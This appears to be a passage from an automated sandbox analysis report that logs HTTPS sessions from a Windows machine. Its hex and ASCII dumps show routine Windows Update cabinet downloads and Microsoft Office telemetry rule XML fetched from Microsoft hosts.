2024-10-31 10:27:15 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-31 10:27:15 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49763	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:27:54 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=vlLRGzYFkMf6rYe&MD=S3nkbt6b HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-31 10:27:54 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: c29a1293-5109-419e-90b5-d6b598283c1d MS-RequestId: cbb54fb4-b3cb-4e11-aca0-791f21dbad00 MS-CV: 1T6UJLnwkkuxH3SW.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 31 Oct 2024 10:27:54 GMT Connection: close Content-Length: 30005
2024-10-31 10:27:54 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-31 10:27:54 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:27:57 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:27:57 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:27:57 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 28 Oct 2024 13:23:36 GMT ETag: "0x8DCF753BAA1B278" x-ms-request-id: 93e60446-901e-00a0-4f32-2a6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102757Z-159b85dff8flzqhfhC1DFWrn0s0000000190000000007bga x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:27:57 UTC	15869	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-31 10:27:57 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 Data Ascii: <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L>
2024-10-31 10:27:57 UTC	16384	IN	Data Raw: 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 Data Ascii: </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns="">
2024-10-31 10:27:57 UTC	16384	IN	Data Raw: 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 Data Ascii: N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_C
2024-10-31 10:27:57 UTC	16384	IN	Data Raw: 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 Data Ascii: eateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPer
2024-10-31 10:27:57 UTC	16384	IN	Data Raw: 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 Data Ascii: > </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="2
2024-10-31 10:27:57 UTC	16384	IN	Data Raw: 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c Data Ascii: liseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L
2024-10-31 10:27:57 UTC	16384	IN	Data Raw: 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 Data Ascii: "I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedC
2024-10-31 10:27:57 UTC	16384	IN	Data Raw: 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 Data Ascii: <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="
2024-10-31 10:27:57 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 Data Ascii: <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:27:59 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:27:59 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:27:59 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 3be177bf-d01e-007a-546e-28f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102759Z-15b8d89586fmhkw429ba5n22m80000000ayg000000003nss x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:27:59 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:27:59 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:27:59 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:27:59 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 20969678-a01e-006f-3ab0-2a13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102759Z-159b85dff8fprglthC1DFW8zcg0000000190000000002k7v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:27:59 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:27:59 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:27:59 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:27:59 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 041e76a7-601e-005c-45ae-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102759Z-16849878b787bfsh7zgp804my4000000083g00000000bfx8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:27:59 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 